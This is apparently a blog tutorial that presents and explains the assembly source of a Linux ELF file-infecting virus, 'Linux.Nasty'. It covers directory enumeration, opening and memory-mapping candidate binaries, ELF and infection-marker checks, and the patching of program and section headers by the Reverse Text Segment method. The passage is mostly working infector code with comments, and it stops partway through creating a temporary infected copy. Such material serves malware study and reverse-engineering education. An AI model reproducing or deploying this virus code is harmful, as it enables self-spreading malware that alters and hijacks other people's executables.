<p>If you need help understanding Linux <em>system calls</em> parameters, feel free to visit my new (work in progress) website: <a href="https://syscall.sh">https://syscall.sh</a> and use the API I created recently, which you can find the documentation at <a href="https://api.syscall.sh/swagger/index.html">https://api.syscall.sh/swagger/index.html</a>.</p>

<h3 id="first-things-first">First things first</h3>

<p>For the stack buffer, I like to use the <code>r15</code> register and add the comments below for reference when browsing the code.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="c1">; Stack buffer:</span>
<span class="c1">; r13       = target temp file fd</span>
<span class="c1">; r14       = target mmap addr</span>
<span class="c1">; r15       = STAT</span>
<span class="c1">; r15 + 150 = patched jmp to OEP</span>
<span class="c1">; r15 + 200 = DIRENT.d_name</span>
<span class="c1">; r15 + 500 = directory size</span>
<span class="c1">; r15 + 600 = DIRENT</span></code></pre></div>

<p>Then we have the structs definitions, they will be loaded in the stack later with the help of the aforementioned <code>r15</code> register.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="k">struc</span> <span class="nb">DI</span><span class="nv">RENT</span> <span class="err">{</span>
    <span class="nf">.d_ino</span>          <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.d_off</span>          <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.d_reclen</span>       <span class="nv">rw</span> <span class="mi">1</span>
    <span class="nf">.d_type</span>         <span class="nv">rb</span> <span class="mi">1</span>
    <span class="nf">label</span> <span class="nv">.d_name</span>   <span class="kt">byte</span>
<span class="err">}</span>
<span class="nf">virtual</span> <span class="nv">at</span> <span class="mi">0</span>
  <span class="nf">DIRENT</span> <span class="nb">DI</span><span class="nv">RENT</span>
  <span class="nf">sizeof.DIRENT</span> <span class="err">=</span> <span class="kc">$</span> <span class="o">-</span> <span class="nb">DI</span><span class="nv">RENT</span>
<span class="nf">end</span> <span class="nv">virtual</span>

<span class="k">struc</span> <span class="nv">STAT</span> <span class="err">{</span>
    <span class="nf">.st_dev</span>         <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_ino</span>         <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_nlink</span>       <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_mode</span>        <span class="nv">rd</span> <span class="mi">1</span>
    <span class="nf">.st_uid</span>         <span class="nv">rd</span> <span class="mi">1</span>
    <span class="nf">.st_gid</span>         <span class="nv">rd</span> <span class="mi">1</span>
    <span class="nf">.pad0</span>           <span class="nv">rb</span> <span class="mi">4</span>
    <span class="nf">.st_rdev</span>        <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_size</span>        <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_blksize</span>     <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_blocks</span>      <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_atime</span>       <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_atime_nsec</span>  <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_mtime</span>       <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_mtime_nsec</span>  <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_ctime</span>       <span class="nv">rq</span> <span class="mi">1</span>
    <span class="nf">.st_ctime_nsec</span>  <span class="nv">rq</span> <span class="mi">1</span>
<span class="err">}</span>
<span class="nf">virtual</span> <span class="nv">at</span> <span class="mi">0</span>
  <span class="nf">STAT</span> <span class="nv">STAT</span>
  <span class="nf">sizeof.STAT</span> <span class="err">=</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">STAT</span>
<span class="nf">end</span> <span class="nv">virtual</span>

<span class="k">struc</span> <span class="nv">EHDR</span> <span class="err">{</span>
    <span class="nf">.magic</span>      <span class="nv">rd</span>  <span class="mi">1</span>
    <span class="nf">.class</span>      <span class="nv">rb</span>  <span class="mi">1</span>
    <span class="nf">.data</span>       <span class="nv">rb</span>  <span class="mi">1</span>
    <span class="nf">.elfversion</span> <span class="nv">rb</span>  <span class="mi">1</span>
    <span class="nf">.os</span>         <span class="nv">rb</span>  <span class="mi">1</span>
    <span class="nf">.abiversion</span> <span class="nv">rb</span>  <span class="mi">1</span>
    <span class="nf">.pad</span>        <span class="nv">rb</span>  <span class="mi">7</span>
    <span class="nf">.type</span>       <span class="nv">rb</span>  <span class="mi">2</span>
    <span class="nf">.machine</span>    <span class="nv">rb</span>  <span class="mi">2</span>
    <span class="nf">.version</span>    <span class="nv">rb</span>  <span class="mi">4</span>
    <span class="nf">.entry</span>      <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.phoff</span>      <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.shoff</span>      <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.flags</span>      <span class="nv">rb</span>  <span class="mi">4</span>
    <span class="nf">.ehsize</span>     <span class="nv">rb</span>  <span class="mi">2</span>
    <span class="nf">.phentsize</span>  <span class="nv">rb</span>  <span class="mi">2</span>
    <span class="nf">.phnum</span>      <span class="nv">rb</span>  <span class="mi">2</span>
    <span class="nf">.shentsize</span>  <span class="nv">rb</span>  <span class="mi">2</span>
    <span class="nf">.shnum</span>      <span class="nv">rb</span>  <span class="mi">2</span>
    <span class="nf">.shstrndx</span>   <span class="nv">rb</span>  <span class="mi">2</span>
<span class="err">}</span>
<span class="nf">virtual</span> <span class="nv">at</span> <span class="mi">0</span>
  <span class="nf">EHDR</span> <span class="nv">EHDR</span>
  <span class="nf">sizeof.EHDR</span> <span class="err">=</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">EHDR</span>
<span class="nf">end</span> <span class="nv">virtual</span>

<span class="k">struc</span> <span class="nv">PHDR</span> <span class="err">{</span>
    <span class="nf">.type</span>   <span class="nv">rb</span>  <span class="mi">4</span>
    <span class="nf">.flags</span>  <span class="nv">rd</span>  <span class="mi">1</span>
    <span class="nf">.offset</span> <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.vaddr</span>  <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.paddr</span>  <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.filesz</span> <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.memsz</span>  <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.align</span>  <span class="nv">rq</span>  <span class="mi">1</span>
<span class="err">}</span>
<span class="nf">virtual</span> <span class="nv">at</span> <span class="mi">0</span>
  <span class="nf">PHDR</span> <span class="nv">PHDR</span>
  <span class="nf">sizeof.PHDR</span> <span class="err">=</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">PHDR</span>
<span class="nf">end</span> <span class="nv">virtual</span>

<span class="k">struc</span> <span class="nv">SHDR</span> <span class="err">{</span>
    <span class="nf">.name</span>       <span class="nv">rb</span>  <span class="mi">4</span>
    <span class="nf">.type</span>       <span class="nv">rb</span>  <span class="mi">4</span>
    <span class="nf">.flags</span>      <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.addr</span>       <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.offset</span>     <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.size</span>       <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.link</span>       <span class="nv">rb</span>  <span class="mi">4</span>
    <span class="nf">.info</span>       <span class="nv">rb</span>  <span class="mi">4</span>
    <span class="nf">.addralign</span>  <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.entsize</span>    <span class="nv">rq</span>  <span class="mi">1</span>
    <span class="nf">.hdr_size</span> <span class="err">=</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">.name</span>
<span class="err">}</span>
<span class="nf">virtual</span> <span class="nv">at</span> <span class="mi">0</span>
  <span class="nf">SHDR</span> <span class="nv">SHDR</span>
  <span class="nf">sizeof.SHDR</span> <span class="err">=</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">PHDR</span>
<span class="nf">end</span> <span class="nv">virtual</span></code></pre></div>

<p>Let&rsquo;s reserve the stack space. Going for <em>2000</em> bytes this time, then pointing <code>rsp</code> to <code>r15</code>.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">2000</span>    <span class="c1">; reserving 2000 bytes</span>
<span class="nf">mov</span> <span class="nv">r15</span><span class="p">,</span> <span class="nb">rsp</span>     <span class="c1">; r15 has the reserved stack buffer address</span></code></pre></div>

<p>There are no mechanisms to detect the first execution (first generation) of the virus in <em>Linux.Nasty</em>. I had no time to do anything cool and didn&rsquo;t feel like reusing stuff from other projects.</p>

<h3 id="target-acquired">Target acquired</h3>

<p>Finding infection targets is nothing special, the code is largely the same
(at least the logic is very similar) in most of my projects. We open the current
directory in read mode with
<a href="https://linux.die.net/man/2/getdents64">getdents64</a> syscall, which will return
the number of entries in it. That goes into the stack buffer.</p>

<p>Interesting fact: <a href="https://lwn.net/Articles/216951/">according to
Linus</a>, this syscall is very <em>expensive</em>.</p>





<blockquote cite="https://lwn.net/Articles/216948/">
  <p>
The locking is such that only one process can be reading a given directory at
any given time. If that process must wait for disk I/O, it sleeps holding the inode semaphore and blocks all other readers - even if some of theothers could work with parts of the directory which are already in memory.
</p>
  
    <cite><a  target="_blank" rel="external noopener" href="https://lwn.net/Articles/216948/">Why kernel.org is slow</a></cite>
  
</blockquote>


<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">load_dir:</span>
    <span class="nf">push</span> <span class="s">&#34;.&#34;</span>                          <span class="c1">; pushing &#34;.&#34; to stack (rsp)</span>
    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rsp</span>                      <span class="c1">; moving &#34;.&#34; to rdi</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">O_RDONLY</span>
    <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>                      <span class="c1">; not using any flags</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_OPEN</span>
    <span class="nf">syscall</span>                           <span class="c1">; rax contains the fd</span>

    <span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nb">rax</span>                       <span class="c1">; mov fd to r8 temporarily</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rax</span>                      <span class="c1">; move fd to rdi</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">600</span> <span class="o">+</span> <span class="nb">DI</span><span class="nv">RENT</span><span class="p">]</span>     <span class="c1">; rsi = dirent in stack</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">DI</span><span class="nv">RENT_BUFSIZE</span>           <span class="c1">; buffer with maximum directory size</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_GETDENTS64</span>
    <span class="nf">syscall</span>

    <span class="nf">mov</span> <span class="nv">r9</span><span class="p">,</span> <span class="nb">rax</span>                       <span class="c1">; r9 now contains the directory entries</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r8</span>                       <span class="c1">; load open dir fd from r8</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_CLOSE</span>                <span class="c1">; close source fd in rdi</span>
    <span class="nf">syscall</span>

    <span class="nf">test</span> <span class="nv">r9</span><span class="p">,</span> <span class="nv">r9</span>                       <span class="c1">; check directory list was successful</span>
    <span class="nf">js</span> <span class="nb">cl</span><span class="nv">eanup</span>                        <span class="c1">; if negative code is returned, I failed and should exit</span>

    <span class="nf">mov</span> <span class="kt">qword</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">500</span><span class="p">],</span> <span class="nv">r9</span>         <span class="c1">; [r15 + 500] now holds directory size</span>
    <span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                      <span class="c1">; will be the position in the directory entries</span></code></pre></div>

<p>Looping through files in the current directory looks like this.</p>

<ul>
<li>Open a file (read/write mode);</li>
<li>Copy its file name to the stack buffer;</li>
<li>If the file cannot be opened, skip it and try the next one.</li>
</ul>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">file_loop:</span>
    <span class="nf">push</span> <span class="nb">rcx</span>                                                <span class="c1">; preserving rcx (important, used as counter for dirent record length)</span>
    <span class="nf">cmp</span> <span class="p">[</span><span class="nb">rcx</span> <span class="o">+</span> <span class="nv">r15</span> <span class="o">+</span> <span class="mi">600</span> <span class="o">+</span> <span class="nb">DI</span><span class="nv">RENT.d_type</span><span class="p">],</span> <span class="nv">DT_REG</span>           <span class="c1">; check if it&#39;s a regular file dirent.d_type</span>
    <span class="nf">jne</span> <span class="nv">.continue</span>                                           <span class="c1">; if not, proceed to next file</span>

    <span class="nl">.open_target:</span>
        <span class="nf">push</span> <span class="nb">rcx</span>
        <span class="nf">lea</span> <span class="nb">rdi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rcx</span> <span class="o">+</span> <span class="nv">r15</span> <span class="o">+</span> <span class="mi">600</span> <span class="o">+</span> <span class="nb">DI</span><span class="nv">RENT.d_name</span><span class="p">]</span>          <span class="c1">; dirent.d_name from stack</span>
        <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">O_RDWR</span>                                     <span class="c1">; opening target in read write mode</span>
        <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>                                        <span class="c1">; not using any flags</span>
        <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_OPEN</span>
        <span class="nf">syscall</span>

        <span class="nf">test</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>                                       <span class="c1">; if can&#39;t open file, try next one</span>
        <span class="nf">js</span> <span class="nv">.continue</span>                                        <span class="c1">; this also kinda prevents self infection since you cannot open a running file in write mode (which will happen during first execution)</span>

        <span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nb">rax</span>                                         <span class="c1">; load r8 with source fd from rax</span>
        <span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>                                        <span class="c1">; clearing rax, will be used to copy host filename to stack buffer</span>

        <span class="nf">pop</span> <span class="nb">rcx</span>
        <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rcx</span> <span class="o">+</span> <span class="nv">r15</span> <span class="o">+</span> <span class="mi">600</span> <span class="o">+</span> <span class="nb">DI</span><span class="nv">RENT.d_name</span><span class="p">]</span>          <span class="c1">; put address into the source index</span>
        <span class="nf">lea</span> <span class="nb">rdi</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">200</span><span class="p">]</span>                                <span class="c1">; put address into the destination index (that is in stack buffer at [r15 + 200])</span>

        <span class="nl">.copy_host_name:</span>
            <span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>                                   <span class="c1">; copy byte at address in rsi to al</span>
            <span class="nf">inc</span> <span class="nb">rsi</span>                                         <span class="c1">; increment address in rsi</span>
            <span class="nf">mov</span> <span class="p">[</span><span class="nb">rdi</span><span class="p">],</span> <span class="nb">al</span>                                   <span class="c1">; copy byte in al to address in rdi</span>
            <span class="nf">inc</span> <span class="nb">rdi</span>                                         <span class="c1">; increment address in rdi</span>
            <span class="nf">cmp</span> <span class="nb">al</span><span class="p">,</span> <span class="mi">0</span>                                       <span class="c1">; see if its an ascii zero</span>
            <span class="nf">jne</span> <span class="nv">.copy_host_name</span>                             <span class="c1">; jump back and read next byte if not</span>
<span class="nf">...</span>

    <span class="nl">.continue:</span>
        <span class="nf">pop</span> <span class="nb">rcx</span>                                             <span class="c1">; restore rcx, used as counter for directory length</span>
        <span class="nf">add</span> <span class="nb">cx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rcx</span> <span class="o">+</span> <span class="nv">r15</span> <span class="o">+</span> <span class="mi">600</span> <span class="o">+</span> <span class="nb">DI</span><span class="nv">RENT.d_reclen</span><span class="p">]</span>         <span class="c1">; adding directory record length to cx (lower rcx, for word)</span>
        <span class="nf">cmp</span> <span class="nb">rcx</span><span class="p">,</span> <span class="kt">qword</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">500</span><span class="p">]</span>                          <span class="c1">; comparing rcx counter with directory records total size</span>
        <span class="nf">jne</span> <span class="nv">file_loop</span>                                       <span class="c1">; if counter is not the same, continue loop</span></code></pre></div>

<p>The target file is then mapped to memory for further checks and/or manipulation.</p>

<ul>
<li>Get file information with <code>fstat</code>;</li>
<li>Map the file with <code>mmap</code>;</li>
<li>Check if the file is a valid <em>ELF x86_64</em> binary;</li>
<li>Check if the file is already infected.</li>
</ul>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.map_target:</span>
    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r8</span>                                         <span class="c1">; load source fd to rdi</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="nv">STAT</span><span class="p">]</span>                               <span class="c1">; load fstat struct to rsi</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_FSTAT</span>
    <span class="nf">syscall</span>                                             <span class="c1">; fstat struct in stack conntains target file information</span>

    <span class="nf">xor</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rdi</span>                                        <span class="c1">; operating system will choose mapping destination</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="nv">STAT.st_size</span><span class="p">]</span>                       <span class="c1">; load rsi with file size from fstat.st_size in stack</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">PROT_READ</span> <span class="nv">or</span> <span class="nv">PROT_WRITE</span>                    <span class="c1">; protect RW = PROT_READ (0x01) | PROT_WRITE (0x02)</span>
    <span class="nf">mov</span> <span class="nv">r10</span><span class="p">,</span> <span class="nv">MAP_PRIVATE</span>                                <span class="c1">; pages will be private</span>
    <span class="nf">xor</span> <span class="nv">r9</span><span class="p">,</span> <span class="nv">r9</span>                                          <span class="c1">; offset inside source file (zero means start of source file)</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_MMAP</span>
    <span class="nf">syscall</span>                                             <span class="c1">; now rax will point to mapped location</span>

    <span class="nf">push</span> <span class="nb">rax</span>                                            <span class="c1">; push mmap addr to stack</span>
    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r8</span>                                         <span class="c1">; rdi is now target fd</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_CLOSE</span>                                  <span class="c1">; close source fd in rdi</span>
    <span class="nf">syscall</span>
    <span class="nf">pop</span> <span class="nb">rax</span>                                             <span class="c1">; restore mmap addr from stack</span>

    <span class="nf">test</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>                                       <span class="c1">; test if mmap was successful</span>
    <span class="nf">js</span> <span class="nv">.continue</span>                                        <span class="c1">; skip file if not</span>

<span class="nl">.is_elf:</span>
    <span class="nf">cmp</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="nv">EHDR.magic</span><span class="p">],</span> <span class="mh">0x464c457f</span>                  <span class="c1">; 0x464c457f means .ELF (dword, little-endian)</span>
    <span class="nf">jnz</span> <span class="nv">.continue</span>                                       <span class="c1">; not an ELF binary, close and continue to next file if any</span>

<span class="nl">.is_64:</span>
    <span class="nf">cmp</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="nv">EHDR.class</span><span class="p">],</span> <span class="nv">ELFCLASS64</span>                  <span class="c1">; check if target ELF is 64bit</span>
    <span class="nf">jne</span> <span class="nv">.continue</span>                                       <span class="c1">; skipt it if not</span>
    <span class="nf">cmp</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="nv">EHDR.machine</span><span class="p">],</span> <span class="nv">EM_X86_64</span>                 <span class="c1">; check if target ELF is x86_64 architechture</span>
    <span class="nf">jne</span> <span class="nv">.continue</span>                                       <span class="c1">; skip it if not</span>

<span class="nl">.is_infected:</span>
    <span class="nf">cmp</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="nv">EHDR.pad</span><span class="p">],</span> <span class="mh">0x005a4d54</span>              <span class="c1">; check signature in ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size)</span>
    <span class="nf">jz</span> <span class="nv">.continue</span>                                        <span class="c1">; already infected, close and continue to next file if any</span></code></pre></div>

<p>If all checks pass, calls <code>infect</code> routine.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.infection_candidate:</span>
    <span class="nf">call</span> <span class="nv">infect</span>         <span class="c1">; calls infection routine</span></code></pre></div>

<h3 id="crafting-something-great">Crafting something great</h3>

<p>Here lies the core part of the code.</p>

<p>It starts by loading <code>r9</code> to the <em>Program Headers</em> offset based on <code>rax</code> (I move this to <code>r14</code> to make it easier to use since <code>rax</code> is required for a bunch of other operations), which now points to the base address of the memory mapped target file.</p>

<p><code>r12</code> points to the <em>Section Headers</em> offset.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">infect:</span>
    <span class="nf">push</span> <span class="nb">rbp</span>                      <span class="c1">; save the stack frame of the caller</span>
    <span class="nf">mov</span> <span class="nb">rbp</span><span class="p">,</span> <span class="nb">rsp</span>                  <span class="c1">; save the stack pointer</span>

    <span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="nb">rax</span>                  <span class="c1">; r14 = pointer to target bytes (memory map address)</span>
    <span class="nf">mov</span> <span class="nv">r9</span><span class="p">,</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.phoff</span><span class="p">]</span>    <span class="c1">; set r9 to offset of PHDRs</span>
    <span class="nf">mov</span> <span class="nv">r12</span><span class="p">,</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.shoff</span><span class="p">]</span>   <span class="c1">; set r12 to offset of SHDRs</span>

    <span class="nf">xor</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rbx</span>                  <span class="c1">; initializing phdr loop counter in rbx</span>
    <span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                  <span class="c1">; initializing shdr loop counter in rdx</span></code></pre></div>

<p>For each program header, some checks are performed. We need to patch all <code>phdrs</code> and the <code>.text</code> segment requires special attention.</p>

<p>We assume <code>PAGE_SIZE</code> to be <em>4096</em> bytes here but ideally it should be calculated dynamically.</p>

<p>First, verify if its type is <code>PT_LOAD</code>:</p>

<ul>
<li>if yes, is it the <code>.text</code> segment?

<ul>
<li>if we got it, patch it following the <em>Reverse Text Segment</em> method, slightly modified in this case for demonstration:</li>
<li><code>p_vaddr</code> is decreased by <code>2 * PAGE_SIZE</code>;</li>
<li><code>p_filesz</code> is increased by <code>2 * PAGE_SIZE</code>;</li>
<li><code>p_memsz</code> is increased by <code>2 * PAGE_SIZE</code>;</li>
<li><code>p_offset</code> is decreased by <code>PAGE_SIZE</code>;</li>
</ul></li>
<li>if not, we just increase this header <code>p_offset</code> by <code>PAGE_SIZE</code>.</li>
</ul>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.loop_phdr:</span>
    <span class="nf">cmp</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r9</span> <span class="o">+</span> <span class="nv">PHDR.type</span><span class="p">],</span> <span class="nv">PT_LOAD</span>               <span class="c1">; check if phdr.type is PT_LOAD</span>
    <span class="nf">jnz</span> <span class="nv">.not_txt_segment</span>                              <span class="c1">; if not, patch it as needed</span>

    <span class="nf">cmp</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r9</span> <span class="o">+</span> <span class="nv">PHDR.flags</span><span class="p">],</span> <span class="nv">PF_R</span> <span class="nv">or</span> <span class="nv">PF_X</span>         <span class="c1">; check if PT_LOAD is text segment</span>
    <span class="nf">jnz</span> <span class="nv">.not_txt_segment</span>                              <span class="c1">; if not, patch it as needed</span>

    <span class="nl">.txt_segment:</span>
        <span class="nf">sub</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r9</span> <span class="o">+</span> <span class="nv">PHDR.vaddr</span><span class="p">],</span> <span class="mi">2</span> <span class="o">*</span> <span class="nv">PAGE_SIZE</span>    <span class="c1">; decrease p_vaddr by 2 times PAGE_SIZE</span>
        <span class="nf">add</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r9</span> <span class="o">+</span> <span class="nv">PHDR.filesz</span><span class="p">],</span> <span class="mi">2</span> <span class="o">*</span> <span class="nv">PAGE_SIZE</span>   <span class="c1">; increase p_filesz by 2 times PAGE_SIZE</span>
        <span class="nf">add</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r9</span> <span class="o">+</span> <span class="nv">PHDR.memsz</span><span class="p">],</span> <span class="mi">2</span> <span class="o">*</span> <span class="nv">PAGE_SIZE</span>    <span class="c1">; increase p_memsz by 2 times PAGE_SIZE</span>
        <span class="nf">sub</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r9</span> <span class="o">+</span> <span class="nv">PHDR.offset</span><span class="p">],</span> <span class="nv">PAGE_SIZE</span>       <span class="c1">; decrease p_offset by PAGE_SIZE</span>
        <span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r9</span> <span class="o">+</span> <span class="nv">PHDR.vaddr</span><span class="p">]</span>               <span class="c1">; contains .text segment patched vaddr, will be used to patch entrypoint</span>

        <span class="nf">jmp</span> <span class="nv">.next_phdr</span>                                <span class="c1">; proceed to next phdr</span>

    <span class="nl">.not_txt_segment:</span>
        <span class="nf">add</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r9</span> <span class="o">+</span> <span class="nv">PHDR.offset</span><span class="p">],</span> <span class="nv">PAGE_SIZE</span>       <span class="c1">; patching p_offset of phdrs that are not the .text segment (increase by PAGE_SIZE)</span>

<span class="nl">.next_phdr:</span>
    <span class="nf">inc</span> <span class="nb">bx</span>                                            <span class="c1">; increase phdr bx counter</span>
    <span class="nf">cmp</span> <span class="nb">bx</span><span class="p">,</span> <span class="kt">word</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.phnum</span><span class="p">]</span>                   <span class="c1">; check if we looped through all phdrs already</span>
    <span class="nf">jge</span> <span class="nv">.loop_shdr</span>                                    <span class="c1">; exit loop if yes</span>

    <span class="nf">add</span> <span class="nb">r9w</span><span class="p">,</span> <span class="kt">word</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.phentsize</span><span class="p">]</span>              <span class="c1">; otherwise, add current ehdr.phentsize into r9w</span>
    <span class="nf">jnz</span> <span class="nv">.loop_phdr</span>                                    <span class="c1">; read next phdr</span></code></pre></div>

<p>Section headers also require their offsets to be increased by <code>PAGE_SIZE</code>. Let&rsquo;s do this now.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.loop_shdr:</span>
    <span class="nf">add</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">r12</span> <span class="o">+</span> <span class="nv">SHDR.offset</span><span class="p">],</span> <span class="nv">PAGE_SIZE</span>    <span class="c1">; increase shdr.offset by PAGE_SIZE</span>

<span class="nl">.next_shdr:</span>
    <span class="nf">inc</span> <span class="nb">cx</span>                                      <span class="c1">; increase shdr cx counter</span>
    <span class="nf">cmp</span> <span class="nb">cx</span><span class="p">,</span> <span class="kt">word</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.shnum</span><span class="p">]</span>             <span class="c1">; check if we looped through all shdrs already</span>
    <span class="nf">jge</span> <span class="nv">.create_temp_file</span>                       <span class="c1">; exit loop if yes</span>

    <span class="nf">add</span> <span class="nb">r12w</span><span class="p">,</span> <span class="kt">word</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.shentsize</span><span class="p">]</span>       <span class="c1">; otherwise, add current ehdr.shentsize into r12w</span>
    <span class="nf">jnz</span> <span class="nv">.loop_shdr</span>                              <span class="c1">; read next shdr</span></code></pre></div>

<p>Before continuing with patching the ELF header, we create a temporary file named <code>.nty.tmp</code> which will contain our final infected target. There are other ways to do this, explore at your leisure.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.create_temp_file:</span>
    <span class="nf">push</span> <span class="mi">0</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x706d742e79746e2e</span>     <span class="c1">; pushing &#34;.nty.tmp\0&#34; to stack</span>
